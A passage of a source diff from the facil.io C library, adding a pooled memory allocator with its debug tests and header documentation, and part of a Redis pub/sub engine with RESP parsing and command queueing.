+void *malloc(size_t size) { return fio_malloc(size); }
+void *calloc(size_t size, size_t count) { return fio_calloc(size, count); }
+void free(void *ptr) { fio_free(ptr); }
+void *realloc(void *ptr, size_t new_size) { return fio_realloc(ptr, new_size); }
+#endif
+
+#endif
+
+/* *****************************************************************************
+Some Tests
+***************************************************************************** */
+
+#if DEBUG && !FIO_FORCE_MALLOC
+
+void fio_malloc_test(void) {
+#define TEST_ASSERT(cond, ...)                                                 \
+  if (!(cond)) {                                                               \
+    fprintf(stderr, "* " __VA_ARGS__);                                         \
+    fprintf(stderr, "\nTesting failed.\n");                                    \
+    exit(-1);                                                                  \
+  }
+
+  fprintf(stderr, "=== Testing facil.io memory allocator's system calls\n");
+  char *mem = sys_alloc(FIO_MEMORY_BLOCK_SIZE, 0);
+  TEST_ASSERT(mem, "sys_alloc failed to allocate memory!\n");
+  TEST_ASSERT(!((uintptr_t)mem & FIO_MEMORY_BLOCK_MASK),
+              "Memory allocation not aligned to FIO_MEMORY_BLOCK_SIZE!");
+  mem[0] = 'a';
+  mem[FIO_MEMORY_BLOCK_SIZE - 1] = 'z';
+  fprintf(stderr, "* Testing reallocation from %p\n", (void *)mem);
+  char *mem2 =
+      sys_realloc(mem, FIO_MEMORY_BLOCK_SIZE, FIO_MEMORY_BLOCK_SIZE * 2);
+  if (mem == mem2)
+    fprintf(stderr, "* Performed system realloc without copy :-)\n");
+  TEST_ASSERT(mem2[0] = 'a' && mem2[FIO_MEMORY_BLOCK_SIZE - 1] == 'z',
+              "Reaclloc data was lost!");
+  sys_free(mem2, FIO_MEMORY_BLOCK_SIZE * 2);
+  fprintf(stderr, "=== Testing facil.io memory allocator's internal data.\n");
+  TEST_ASSERT(arenas, "Missing arena data - library not initialized!");
+  fio_free(NULL); /* fio_free(NULL) shouldn't crash... */
+  mem = fio_malloc(1);
+  TEST_ASSERT(mem, "fio_malloc failed to allocate memory!\n");
+  TEST_ASSERT(!((uintptr_t)mem & 15), "fio_malloc memory not aligned!\n");
+  TEST_ASSERT(((uintptr_t)mem & FIO_MEMORY_BLOCK_MASK) != 16,
+              "small fio_malloc memory indicates system allocation!\n");
+  mem[0] = 'a';
+  TEST_ASSERT(mem[0] == 'a', "allocate memory wasn't written to!\n");
+  mem = fio_realloc(mem, 1);
+  TEST_ASSERT(mem[0] == 'a', "fio_realloc memory wasn't copied!\n");
+  TEST_ASSERT(arena_last_used, "arena_last_used wasn't initialized!\n");
+  block_s *b = arena_last_used->block;
+  size_t count = 2;
+  intptr_t old_memory_pool_count = memory.count;
+  do {
+    TEST_ASSERT(mem, "fio_malloc failed to allocate memory!\n");
+    TEST_ASSERT(!((uintptr_t)mem & 15),
+                "fio_malloc memory not aligned at allocation #%zu!\n", count);
+    TEST_ASSERT((((uintptr_t)mem & FIO_MEMORY_BLOCK_MASK) != 16),
+                "fio_malloc memory indicates system allocation!\n");
+#if __x86_64__
+    fio_memcpy((size_t *)mem, (size_t *)"0123456789abcdefg", 1);
+#else
+    mem[0] = 'a';
+#endif
+    fio_free(mem); /* make sure we hold on to the block, so it rotates */
+    mem = fio_malloc(1);
+    ++count;
+  } while (arena_last_used->block == b);
+  {
+    fprintf(
+        stderr,
+        "* Performed %zu allocations out of expected %zu allocations per "
+        "block.\n",
+        count,
+        (size_t)((FIO_MEMORY_BLOCK_SLICES - 2) - (sizeof(block_s) >> 4) - 1));
+    TEST_ASSERT(memory.available,
+                "memory pool empty (memory block wasn't freed)!\n");
+    TEST_ASSERT(old_memory_pool_count == memory.count,
+                "memory.count == %ld (memory block not counted)!\n",
+                (long)old_memory_pool_count);
+    fio_free(mem);
+  }
+  /* rotate block again */
+  b = arena_last_used->block;
+  mem = fio_realloc(mem, 1);
+  do {
+    mem2 = mem;
+    mem = fio_malloc(1);
+    fio_free(mem2); /* make sure we hold on to the block, so it rotates */
+    TEST_ASSERT(mem, "fio_malloc failed to allocate memory!\n");
+    TEST_ASSERT(!((uintptr_t)mem & 15),
+                "fio_malloc memory not aligned at allocation #%zu!\n", count);
+    TEST_ASSERT((((uintptr_t)mem & FIO_MEMORY_BLOCK_MASK) != 16),
+                "fio_malloc memory indicates system allocation!\n");
+#if __x86_64__
+    fio_memcpy((size_t *)mem, (size_t *)"0123456789abcdefg", 1);
+#else
+    mem[0] = 'a';
+#endif
+    ++count;
+  } while (arena_last_used->block == b);
+
+  mem = fio_calloc(FIO_MEMORY_BLOCK_ALLOC_LIMIT - 64, 1);
+  TEST_ASSERT(mem,
+              "failed to allocate FIO_MEMORY_BLOCK_ALLOC_LIMIT - 64 bytes!\n");
+  TEST_ASSERT(((uintptr_t)mem & FIO_MEMORY_BLOCK_MASK) != 16,
+              "fio_calloc (under limit) memory alignment error!\n");
+  mem2 = fio_malloc(1);
+  TEST_ASSERT(mem2, "fio_malloc(1) failed to allocate memory!\n");
+  mem2[0] = 'a';
+
+  for (uintptr_t i = 0; i < (FIO_MEMORY_BLOCK_ALLOC_LIMIT - 64); ++i) {
+    TEST_ASSERT(mem[i] == 0,
+                "calloc returned memory that wasn't initialized?!\n");
+  }
+  fio_free(mem);
+
+  mem = fio_malloc(FIO_MEMORY_BLOCK_SIZE);
+  TEST_ASSERT(mem, "fio_malloc failed to FIO_MEMORY_BLOCK_SIZE bytes!\n");
+  TEST_ASSERT(((uintptr_t)mem & FIO_MEMORY_BLOCK_MASK) == 16,
+              "fio_malloc (big) memory isn't aligned!\n");
+  mem = fio_realloc(mem, FIO_MEMORY_BLOCK_SIZE * 2);
+  TEST_ASSERT(mem,
+              "fio_realloc (big) failed on FIO_MEMORY_BLOCK_SIZE X2 bytes!\n");
+  fio_free(mem);
+  TEST_ASSERT(((uintptr_t)mem & FIO_MEMORY_BLOCK_MASK) == 16,
+              "fio_realloc (big) memory isn't aligned!\n");
+
+  {
+    void *m0 = fio_malloc(0);
+    void *rm0 = fio_realloc(m0, 16);
+    TEST_ASSERT(m0 != rm0, "fio_realloc(fio_malloc(0), 16) failed!\n");
+  }
+
+  fprintf(stderr, "* passed.\n");
+}
+
+#else
+
+void fio_malloc_test(void) {}
+
+#endif

facil.io/lib/facil/legacy/fio_mem.h

@@ -0,0 +1,189 @@
+/*
+Copyright: Boaz Segev, 2018-2019
+License: MIT
+
+Feel free to copy, use and enjoy according to the license provided.
+*/
+#ifndef H_FIO_MEM_H
+
+/**
+ * This is a custom memory allocator the utilizes memory pools to allow for
+ * concurrent memory allocations across threads.
+ *
+ * Allocated memory is always zeroed out and aligned on a 16 byte boundary.
+ *
+ * Reallocated memory is always aligned on a 16 byte boundary but it might be
+ * filled with junk data after the valid data (this is true also for
+ * `fio_realloc2`).
+ *
+ * The memory allocator assumes multiple concurrent allocation/deallocation,
+ * short life spans (memory is freed shortly, but not immediately, after it was
+ * allocated) as well as small allocations (realloc almost always copies data).
+ *
+ * These assumptions allow the allocator to avoid lock contention by ignoring
+ * fragmentation within a memory "block" and waiting for the whole "block" to be
+ * freed before it's memory is recycled (no per-allocation "free list").
+ *
+ * An "arena" is allocated per-CPU core during initialization - there's no
+ * dynamic allocation of arenas. This allows threads to minimize lock contention
+ * by cycling through the arenas until a free arena is detected.
+ *
+ * There should be a free arena at any given time (statistically speaking) and
+ * the thread will only be deferred in the unlikely event in which there's no
+ * available arena.
+ *
+ * By avoiding the "free-list", the need for allocation "headers" is also
+ * avoided and allocations are performed with practically zero overhead (about
+ * 32 bytes overhead per 32KB memory, that's 1 bit per 1Kb).
+ *
+ * However, the lack of a "free list" means that memory "leaks" are more
+ * expensive and small long-life allocations could cause fragmentation if
+ * performed periodically (rather than performed during startup).
+ *
+ * This allocator should NOT be used for objects with a long life-span, because
+ * even a single persistent object will prevent the re-use of the whole memory
+ * block from which it was allocated (see FIO_MEMORY_BLOCK_SIZE for size).
+ *
+ * Some more details:
+ *
+ * Allocation and deallocations and (usually) managed by "blocks".
+ *
+ * A memory "block" can include any number of memory pages that are a multiple
+ * of 2 (up to 1Mb of memory). However, the default value, set by the value of
+ * FIO_MEMORY_BLOCK_SIZE_LOG, is 32Kb (see value at the end of this header).
+ *
+ * Each block includes a 32 byte header that uses reference counters and
+ * position markers (24 bytes are required padding).
+ *
+ * The block's position marker (`pos`) marks the next available byte (counted in
+ * multiples of 16 bytes).
+ *
+ * The block's reference counter (`ref`) counts how many allocations reference
+ * memory in the block (including the "arena" that "owns" the block).
+ *
+ * Except for the position marker (`pos`) that acts the same as `sbrk`, there's
+ * no way to know which "slices" are allocated and which "slices" are available.
+ *
+ * The allocator uses `mmap` when requesting memory from the system and for
+ * allocations bigger than MEMORY_BLOCK_ALLOC_LIMIT (37.5% of the block).
+ *
+ * Small allocations are differentiated from big allocations by their memory
+ * alignment.
+ *
+ * If a memory allocation is placed 16 bytes after whole block alignment (within
+ * a block's padding zone), the memory was allocated directly using `mmap` as a
+ * "big allocation". The 16 bytes include an 8 byte header and an 8 byte
+ * padding.
+ *
+ * To replace the system's `malloc` function family compile with the
+ * `FIO_OVERRIDE_MALLOC` defined (`-DFIO_OVERRIDE_MALLOC`).
+ *
+ * When using tcmalloc or jemalloc, define `FIO_FORCE_MALLOC` to prevent
+ * `fio_mem` from compiling (`-DFIO_FORCE_MALLOC`). Function wrappers will be
+ * compiled just in case, so calls to `fio_malloc` will be routed to `malloc`.
+ *
+ */
+#define H_FIO_MEM_H
+
+#include <stdlib.h>
+
+/**
+ * Allocates memory using a per-CPU core block memory pool.
+ * Memory is zeroed out.
+ *
+ * Allocations above FIO_MEMORY_BLOCK_ALLOC_LIMIT (12,288 bytes when using 32Kb
+ * blocks) will be redirected to `mmap`, as if `fio_mmap` was called.
+ */
+void *fio_malloc(size_t size);
+
+/**
+ * same as calling `fio_malloc(size_per_unit * unit_count)`;
+ *
+ * Allocations above FIO_MEMORY_BLOCK_ALLOC_LIMIT (12,288 bytes when using 32Kb
+ * blocks) will be redirected to `mmap`, as if `fio_mmap` was called.
+ */
+void *fio_calloc(size_t size_per_unit, size_t unit_count);
+
+/** Frees memory that was allocated using this library. */
+void fio_free(void *ptr);
+
+/**
+ * Re-allocates memory. An attept to avoid copying the data is made only for big
+ * memory allocations (larger than FIO_MEMORY_BLOCK_ALLOC_LIMIT).
+ */
+void *fio_realloc(void *ptr, size_t new_size);
+
+/**
+ * Re-allocates memory. An attept to avoid copying the data is made only for big
+ * memory allocations (larger than FIO_MEMORY_BLOCK_ALLOC_LIMIT).
+ *
+ * This variation is slightly faster as it might copy less data.
+ */
+void *fio_realloc2(void *ptr, size_t new_size, size_t copy_length);
+
+/**
+ * Allocates memory directly using `mmap`, this is prefered for objects that
+ * both require almost a page of memory (or more) and expect a long lifetime.
+ *
+ * However, since this allocation will invoke the system call (`mmap`), it will
+ * be inherently slower.
+ *
+ * `fio_free` can be used for deallocating the memory.
+ */
+void *fio_mmap(size_t size);
+
+/** Clears any memory locks, in case of a system call to `fork`. */
+void fio_malloc_after_fork(void);
+
+/** Tests the facil.io memory allocator. */
+void fio_malloc_test(void);
+
+/** If defined, `malloc` will be used instead of the fio_malloc functions */
+#if FIO_FORCE_MALLOC
+#define fio_malloc malloc
+#define fio_calloc calloc
+#define fio_mmap malloc
+#define fio_free free
+#define fio_realloc realloc
+#define fio_realloc2(ptr, new_size, old_data_len) realloc((ptr), (new_size))
+#define fio_malloc_test()
+#define fio_malloc_after_fork()
+
+/* allows local override as well as global override */
+#elif FIO_OVERRIDE_MALLOC
+#define malloc fio_malloc
+#define free fio_free
+#define realloc fio_realloc
+#define calloc fio_calloc
+
+#endif
+
+/** Allocator default settings. */
+#ifndef FIO_MEMORY_BLOCK_SIZE_LOG
+#define FIO_MEMORY_BLOCK_SIZE_LOG (15) /*15 == 32Kb, 16 == 64Kb, 17 == 128Kb*/
+#endif
+#ifndef FIO_MEMORY_BLOCK_SIZE
+#define FIO_MEMORY_BLOCK_SIZE ((uintptr_t)1 << FIO_MEMORY_BLOCK_SIZE_LOG)
+#endif
+#ifndef FIO_MEMORY_BLOCK_MASK
+#define FIO_MEMORY_BLOCK_MASK (FIO_MEMORY_BLOCK_SIZE - 1) /* 0b111... */
+#endif
+#ifndef FIO_MEMORY_BLOCK_SLICES
+#define FIO_MEMORY_BLOCK_SLICES (FIO_MEMORY_BLOCK_SIZE >> 4) /* 16B slices */
+#endif
+#ifndef FIO_MEMORY_BLOCK_ALLOC_LIMIT
+/* defaults to 37.5% of the block, after which `mmap` is used instead */
+#define FIO_MEMORY_BLOCK_ALLOC_LIMIT                                           \
+  ((FIO_MEMORY_BLOCK_SIZE >> 2) + (FIO_MEMORY_BLOCK_SIZE >> 3))
+#endif
+
+#ifndef FIO_MEM_MAX_BLOCKS_PER_CORE
+/**
+ * The maximum number of available memory blocks that will be pooled before
+ * memory is returned to the system.
+ */
+#define FIO_MEM_MAX_BLOCKS_PER_CORE                                            \
+  (1 << (22 - FIO_MEMORY_BLOCK_SIZE_LOG)) /* 22 == 4Mb per CPU core (1<<22) */
+#endif
+
+#endif /* H_FIO_MEM_H */

facil.io/lib/facil/redis/redis_engine.c

@@ -0,0 +1,954 @@
+/*
+Copyright: Boaz segev, 2016-2019
+License: MIT
+
+Feel free to copy, use and enjoy according to the license provided.
+*/
+
+#define FIO_INCLUDE_LINKED_LIST
+#define FIO_INCLUDE_STR
+// #define DEBUG 1
+#include <fio.h>
+
+#include <fiobj.h>
+
+#include <redis_engine.h>
+#include <resp_parser.h>
+
+#define REDIS_READ_BUFFER 8192
+/* *****************************************************************************
+The Redis Engine and Callbacks Object
+***************************************************************************** */
+
+typedef struct {
+  fio_pubsub_engine_s en;
+  struct redis_engine_internal_s {
+    fio_protocol_s protocol;
+    intptr_t uuid;
+    resp_parser_s parser;
+    void (*on_message)(struct redis_engine_internal_s *parser, FIOBJ msg);
+    FIOBJ str;
+    FIOBJ ary;
+    uint32_t ary_count;
+    uint16_t buf_pos;
+    uint16_t nesting;
+  } pub_data, sub_data;
+  subscription_s *publication_forwarder;
+  subscription_s *cmd_forwarder;
+  subscription_s *cmd_reply;
+  char *address;
+  char *port;
+  char *auth;
+  FIOBJ last_ch;
+  size_t auth_len;
+  size_t ref;
+  fio_ls_embd_s queue;
+  fio_lock_i lock;
+  fio_lock_i lock_connection;
+  uint8_t ping_int;
+  volatile uint8_t pub_sent;
+  volatile uint8_t flag;
+  uint8_t buf[];
+} redis_engine_s;
+
+typedef struct {
+  fio_ls_embd_s node;
+  void (*callback)(fio_pubsub_engine_s *e, FIOBJ reply, void *udata);
+  void *udata;
+  size_t cmd_len;
+  uint8_t cmd[];
+} redis_commands_s;
+
+/** converts from a publishing protocol to an `redis_engine_s`. */
+#define pub2redis(pr) FIO_LS_EMBD_OBJ(redis_engine_s, pub_data, (pr))
+/** converts from a subscribing protocol to an `redis_engine_s`. */
+#define sub2redis(pr) FIO_LS_EMBD_OBJ(redis_engine_s, sub_data, (pr))
+
+/** converts from a `resp_parser_s` to the internal data structure. */
+#define parser2data(prsr)                                                      \
+  FIO_LS_EMBD_OBJ(struct redis_engine_internal_s, parser, (prsr))
+
+/* releases any resources used by an internal engine*/
+static inline void redis_internal_reset(struct redis_engine_internal_s *i) {
+  i->buf_pos = 0;
+  i->parser = (resp_parser_s){.obj_countdown = 0, .expecting = 0};
+  fiobj_free((FIOBJ)fio_ct_if(i->ary == FIOBJ_INVALID, (uintptr_t)i->str,
+                              (uintptr_t)i->ary));
+  i->str = FIOBJ_INVALID;
+  i->ary = FIOBJ_INVALID;
+  i->ary_count = 0;
+  i->nesting = 0;
+  i->uuid = -1;
+}
+
+/** cleans up and frees the engine data. */
+static inline void redis_free(redis_engine_s *r) {
+  if (fio_atomic_sub(&r->ref, 1))
+    return;
+  FIO_LOG_DEBUG("freeing redis engine for %s:%s", r->address, r->port);
+  redis_internal_reset(&r->pub_data);
+  redis_internal_reset(&r->sub_data);
+  fiobj_free(r->last_ch);
+  while (fio_ls_embd_any(&r->queue)) {
+    fio_free(
+        FIO_LS_EMBD_OBJ(redis_commands_s, node, fio_ls_embd_pop(&r->queue)));
+  }
+  fio_unsubscribe(r->publication_forwarder);
+  r->publication_forwarder = NULL;
+  fio_unsubscribe(r->cmd_forwarder);
+  r->cmd_forwarder = NULL;
+  fio_unsubscribe(r->cmd_reply);
+  r->cmd_reply = NULL;
+  fio_free(r);
+}
+
+/* *****************************************************************************
+Simple RESP formatting
+***************************************************************************** */
+
+inline static void fiobj2resp___internal(FIOBJ dest, FIOBJ obj) {
+  fio_str_info_s s;
+  switch (FIOBJ_TYPE(obj)) {
+  case FIOBJ_T_NULL:
+    fiobj_str_write(dest, "$-1\r\n", 5);
+    break;
+  case FIOBJ_T_ARRAY:
+    fiobj_str_write(dest, "*", 1);
+    fiobj_str_write_i(dest, fiobj_ary_count(obj));
+    fiobj_str_write(dest, "\r\n", 2);
+    break;
+  case FIOBJ_T_HASH:
+    fiobj_str_write(dest, "*", 1);
+    fiobj_str_write_i(dest, fiobj_hash_count(obj) * 2);
+    fiobj_str_write(dest, "\r\n", 2);
+    break;
+  case FIOBJ_T_TRUE:
+    fiobj_str_write(dest, "$4\r\ntrue\r\n", 10);
+    break;
+  case FIOBJ_T_FALSE:
+    fiobj_str_write(dest, "$4\r\nfalse\r\n", 11);
+    break;
+#if 0
+    /* Numbers aren't as good for commands as one might think... */
+  case FIOBJ_T_NUMBER:
+    fiobj_str_write(dest, ":", 1);
+    fiobj_str_write_i(dest, fiobj_obj2num(obj));
+    fiobj_str_write(dest, "\r\n", 2);
+    break;
+#else
+  case FIOBJ_T_NUMBER: /* overflow */
+#endif
+  case FIOBJ_T_FLOAT:   /* overflow */
+  case FIOBJ_T_UNKNOWN: /* overflow */
+  case FIOBJ_T_STRING:  /* overflow */
+  case FIOBJ_T_DATA:
+    s = fiobj_obj2cstr(obj);
+    fiobj_str_write(dest, "$", 1);
+    fiobj_str_write_i(dest, s.len);
+    fiobj_str_write(dest, "\r\n", 2);
+    fiobj_str_write(dest, s.data, s.len);
+    fiobj_str_write(dest, "\r\n", 2);
+    break;
+  }
+}
+
+static int fiobj2resp_task(FIOBJ o, void *dest_) {
+  if (fiobj_hash_key_in_loop())
+    fiobj2resp___internal((FIOBJ)dest_, fiobj_hash_key_in_loop());
+  fiobj2resp___internal((FIOBJ)dest_, o);
+  return 0;
+}
+
+/**
+ * Converts FIOBJ objects into a RESP string (client mode).
+ */
+static FIOBJ fiobj2resp(FIOBJ dest, FIOBJ obj) {
+  fiobj_each2(obj, fiobj2resp_task, (void *)dest);
+  return dest;
+}
+
+/**
+ * Converts FIOBJ objects into a RESP string (client mode).
+ *
+ * Don't call `fiobj_free`, object will self-destruct.
+ */
+static inline FIOBJ fiobj2resp_tmp(FIOBJ obj) {
+  return fiobj2resp(fiobj_str_tmp(), obj);
+}
+
+/* *****************************************************************************
+RESP parser callbacks
+***************************************************************************** */
+
+/** a local static callback, called when a parser / protocol error occurs. */
+static int resp_on_parser_error(resp_parser_s *parser) {
+  struct redis_engine_internal_s *i = parser2data(parser);
+  FIO_LOG_ERROR("(redis) parser error - attempting to restart connection.\n");
+  fio_close(i->uuid);
+  return -1;
+}
+
+/** a local static callback, called when the RESP message is complete. */
+static int resp_on_message(resp_parser_s *parser) {
+  struct redis_engine_internal_s *i = parser2data(parser);
+  FIOBJ msg = i->ary ? i->ary : i->str;
+  i->on_message(i, msg);
+  /* cleanup */
+  fiobj_free(msg);
+  i->ary = FIOBJ_INVALID;
+  i->str = FIOBJ_INVALID;
+  return 0;
+}
+
+/** a local helper to add parsed objects to the data store. */
+static inline void resp_add_obj(struct redis_engine_internal_s *dest, FIOBJ o) {
+  if (dest->ary) {
+    fiobj_ary_push(dest->ary, o);
+    --dest->ary_count;
+    if (!dest->ary_count && dest->nesting) {
+      FIOBJ tmp = fiobj_ary_shift(dest->ary);
+      dest->ary_count = fiobj_obj2num(tmp);
+      fiobj_free(tmp);
+      dest->ary = fiobj_ary_shift(dest->ary);
+      --dest->nesting;
+    }
+  }
+  dest->str = o;
+}
+
+/** a local static callback, called when a Number object is parsed. */
+static int resp_on_number(resp_parser_s *parser, int64_t num) {
+  struct redis_engine_internal_s *data = parser2data(parser);
+  resp_add_obj(data, fiobj_num_new(num));
+  return 0;
+}
+/** a local static callback, called when a OK message is received. */
+static int resp_on_okay(resp_parser_s *parser) {
+  struct redis_engine_internal_s *data = parser2data(parser);
+  resp_add_obj(data, fiobj_true());
+  return 0;
+}
+/** a local static callback, called when NULL is received. */
+static int resp_on_null(resp_parser_s *parser) {
+  struct redis_engine_internal_s *data = parser2data(parser);
+  resp_add_obj(data, fiobj_null());
+  return 0;
+}
+
+/**
+ * a local static callback, called when a String should be allocated.
+ *
+ * `str_len` is the expected number of bytes that will fill the final string
+ * object, without any NUL byte marker (the string might be binary).
+ *
+ * If this function returns any value besides 0, parsing is stopped.
+ */
+static int resp_on_start_string(resp_parser_s *parser, size_t str_len) {
+  struct redis_engine_internal_s *data = parser2data(parser);
+  resp_add_obj(data, fiobj_str_buf(str_len));
+  return 0;
+}
+/** a local static callback, called as String objects are streamed. */
+static int resp_on_string_chunk(resp_parser_s *parser, void *data, size_t len) {
+  struct redis_engine_internal_s *i = parser2data(parser);
+  fiobj_str_write(i->str, data, len);
+  return 0;
+}
+/** a local static callback, called when a String object had finished
+ * streaming.
+ */
+static int resp_on_end_string(resp_parser_s *parser) {
+  return 0;
+  (void)parser;
+}
+
+/** a local static callback, called an error message is received. */
+static int resp_on_err_msg(resp_parser_s *parser, void *data, size_t len) {
+  struct redis_engine_internal_s *i = parser2data(parser);
+  resp_add_obj(i, fiobj_str_new(data, len));
+  return 0;
+}
+
+/**
+ * a local static callback, called when an Array should be allocated.
+ *
+ * `array_len` is the expected number of objects that will fill the Array
+ * object.
+ *
+ * There's no `resp_on_end_array` callback since the RESP protocol assumes the
+ * message is finished along with the Array (`resp_on_message` is called).
+ * However, just in case a non-conforming client/server sends nested Arrays,
+ * the callback should test against possible overflow or nested Array endings.
+ *
+ * If this function returns any value besides 0, parsing is stopped.
+ */
+static int resp_on_start_array(resp_parser_s *parser, size_t array_len) {
+  struct redis_engine_internal_s *i = parser2data(parser);
+  if (i->ary) {
+    ++i->nesting;
+    FIOBJ tmp = fiobj_ary_new2(array_len + 2);
+    fiobj_ary_push(tmp, fiobj_num_new(i->ary_count));
+    fiobj_ary_push(tmp, fiobj_num_new(i->ary));
+    i->ary = tmp;
+  } else {
+    i->ary = fiobj_ary_new2(array_len + 2);
+  }
+  i->ary_count = array_len;
+  return 0;
+}
+
+/* *****************************************************************************
+Publication and Command Handling
+***************************************************************************** */
+
+/* the deferred callback handler */
+static void redis_perform_callback(void *e, void *cmd_) {
+  redis_commands_s *cmd = cmd_;
+  FIOBJ reply = (FIOBJ)cmd->node.next;
+  if (cmd->callback)
+    cmd->callback(e, reply, cmd->udata);
+  fiobj_free(reply);
+  FIO_LOG_DEBUG("Handled: %s\n", cmd->cmd);
+  fio_free(cmd);
+}
+
+/* send command within lock, to ensure flag integrity */
+static void redis_send_next_command_unsafe(redis_engine_s *r) {
+  if (!r->pub_sent && fio_ls_embd_any(&r->queue)) {
+    r->pub_sent = 1;
+    redis_commands_s *cmd =
+        FIO_LS_EMBD_OBJ(redis_commands_s, node, r->queue.next);
+    fio_write2(r->pub_data.uuid, .data.buffer = cmd->cmd,
+               .length = cmd->cmd_len, .after.dealloc = FIO_DEALLOC_NOOP);
+    FIO_LOG_DEBUG("(redis %d) Sending (%zu bytes):\n%s\n", (int)getpid(),
+                  cmd->cmd_len, cmd->cmd);
+  }
+}
+
+/* attach a command to the queue */
+static void redis_attach_cmd(redis_engine_s *r, redis_commands_s *cmd) {
+  fio_lock(&r->lock);
+  fio_ls_embd_push(&r->queue, &cmd->node);
+  redis_send_next_command_unsafe(r);
+  fio_unlock(&r->lock);
+}
+
+/** a local static callback, called when the RESP message is complete. */
+static void resp_on_pub_message(struct redis_engine_internal_s *i, FIOBJ msg) {
+  redis_engine_s *r = pub2redis(i);
+  // #if DEBUG
+  if (FIO_LOG_LEVEL >= FIO_LOG_LEVEL_DEBUG) {
+    FIOBJ json = fiobj_obj2json(msg, 1);
+    FIO_LOG_DEBUG("Redis reply:\n%s\n", fiobj_obj2cstr(json).data);
+    fiobj_free(json);
+  }
+  // #endif
+  /* publishing / command parser */
+  fio_lock(&r->lock);
+  fio_ls_embd_s *node = fio_ls_embd_shift(&r->queue);
+  r->pub_sent = 0;
+  redis_send_next_command_unsafe(r);
+  fio_unlock(&r->lock);
+  if (!node) {
+    /* TODO: possible ping? from server?! not likely... */
+    FIO_LOG_WARNING("(redis %d) received a reply when no command was sent.",
+                    (int)getpid());
+    return;
+  }
+  node->next = (void *)fiobj_dup(msg);
+  fio_defer(redis_perform_callback, &r->en,
+            FIO_LS_EMBD_OBJ(redis_commands_s, node, node));
+}
+
+/* *****************************************************************************
+Subscription Message Handling
+***************************************************************************** */
+
+/** a local static callback, called when the RESP message is complete. */
+static void resp_on_sub_message(struct redis_engine_internal_s *i, FIOBJ msg) {
+  redis_engine_s *r = sub2redis(i);
+  /* subscriotion parser */
+  if (FIOBJ_TYPE(msg) != FIOBJ_T_ARRAY) {
+    if (FIOBJ_TYPE(msg) != FIOBJ_T_STRING || fiobj_obj2cstr(msg).len != 4 ||
+        fiobj_obj2cstr(msg).data[0] != 'P') {
+      FIO_LOG_WARNING("(redis) unexpected data format in "
+                      "subscription stream (%zu bytes):\n     %s\n",
+                      fiobj_obj2cstr(msg).len, fiobj_obj2cstr(msg).data);
+    }
+  } else {
+    // FIOBJ *ary = fiobj_ary2ptr(msg);
+    // for (size_t i = 0; i < fiobj_ary_count(msg); ++i) {
+    //   fio_str_info_s tmp = fiobj_obj2cstr(ary[i]);
+    //   fprintf(stderr, "(%lu) %s\n", (unsigned long)i, tmp.data);
+    // }
+    fio_str_info_s tmp = fiobj_obj2cstr(fiobj_ary_index(msg, 0));
+    if (tmp.len == 7) { /* "message"  */
+      fiobj_free(r->last_ch);
+      r->last_ch = fiobj_dup(fiobj_ary_index(msg, 1));
+      fio_publish(.channel = fiobj_obj2cstr(r->last_ch),
+                  .message = fiobj_obj2cstr(fiobj_ary_index(msg, 2)),
+                  .engine = FIO_PUBSUB_CLUSTER);
+    } else if (tmp.len == 8) { /* "pmessage" */
+      if (!fiobj_iseq(r->last_ch, fiobj_ary_index(msg, 2)))
+        fio_publish(.channel = fiobj_obj2cstr(fiobj_ary_index(msg, 2)),
+                    .message = fiobj_obj2cstr(fiobj_ary_index(msg, 3)),
+                    .engine = FIO_PUBSUB_CLUSTER);
+    }
+  }
+}
+
+/* *****************************************************************************
+Connection Callbacks (fio_protocol_s) and Engine
+***************************************************************************** */
+
+/** defined later - connects to Redis */
+static void redis_connect(void *r, void *i);
+
+#define defer_redis_connect(r, i)                                              \
+  do {                                                                         \
+    fio_atomic_add(&(r)->ref, 1);                                              \
+    fio_defer(redis_connect, (r), (i));                                        \
+  } while (0);
+
+/** Called when a data is available, but will not run concurrently */
+static void redis_on_data(intptr_t uuid, fio_protocol_s *pr) {
+  struct redis_engine_internal_s *internal =
+      (struct redis_engine_internal_s *)pr;
+  uint8_t *buf;
+  if (internal->on_message == resp_on_sub_message) {
+    buf = sub2redis(pr)->buf + REDIS_READ_BUFFER;
+  } else {
+    buf = pub2redis(pr)->buf;
+  }
+  ssize_t i = fio_read(uuid, buf + internal->buf_pos,
+                       REDIS_READ_BUFFER - internal->buf_pos);
+  if (i <= 0)
+    return;
+
+  internal->buf_pos += i;
+  i = resp_parse(&internal->parser, buf, internal->buf_pos);
+  if (i) {
+    memmove(buf, buf + internal->buf_pos - i, i);
+  }
+  internal->buf_pos = i;
+}
+
+/** Called when the connection was closed, but will not run concurrently */
+static void redis_on_close(intptr_t uuid, fio_protocol_s *pr) {
+  struct redis_engine_internal_s *internal =
+      (struct redis_engine_internal_s *)pr;
+  redis_internal_reset(internal);
+  redis_engine_s *r;
+  if (internal->on_message == resp_on_sub_message) {
+    r = sub2redis(pr);
+    fiobj_free(r->last_ch);
+    r->last_ch = FIOBJ_INVALID;
+    if (r->flag) {
+      /* reconnection for subscription connection. */
+      if (uuid != -1) {
+        FIO_LOG_WARNING("(redis %d) subscription connection lost. "
+                        "Reconnecting...",
+                        (int)getpid());
+      }
+      fio_atomic_sub(&r->ref, 1);
+      defer_redis_connect(r, internal);
+    } else {
+      redis_free(r);
+    }
+  } else {
+    r = pub2redis(pr);
+    if (r->flag && uuid != -1) {
+      FIO_LOG_WARNING("(redis %d) publication connection lost. "
+                      "Reconnecting...",
+                      (int)getpid());
+    }
+    r->pub_sent = 0;
+    fio_close(r->sub_data.uuid);
+    redis_free(r);
+  }
+  (void)uuid;
+}
+
+/** Called before the facil.io reactor is shut down. */
+static uint8_t redis_on_shutdown(intptr_t uuid, fio_protocol_s *pr) {
+  fio_write2(uuid, .data.buffer = "*1\r\n$4\r\nQUIT\r\n", .length = 14,
+             .after.dealloc = FIO_DEALLOC_NOOP);
+  return 0;
+  (void)pr;
+}
+
+/** Called on connection timeout. */
+static void redis_sub_ping(intptr_t uuid, fio_protocol_s *pr) {
+  fio_write2(uuid, .data.buffer = "*1\r\n$4\r\nPING\r\n", .length = 14,
+             .after.dealloc = FIO_DEALLOC_NOOP);
+  (void)pr;
+}
+
+/** Called on connection timeout. */
+static void redis_pub_ping(intptr_t uuid, fio_protocol_s *pr) {
+  redis_engine_s *r = pub2redis(pr);
+  if (fio_ls_embd_any(&r->queue)) {
+    FIO_LOG_WARNING("(redis) Redis server unresponsive, disconnecting.");
+    fio_close(uuid);
+    return;
+  }
+  redis_commands_s *cmd = fio_malloc(sizeof(*cmd) + 15);
+  *cmd = (redis_commands_s){.cmd_len = 14};
+  memcpy(cmd->cmd, "*1\r\n$4\r\nPING\r\n\0", 15);
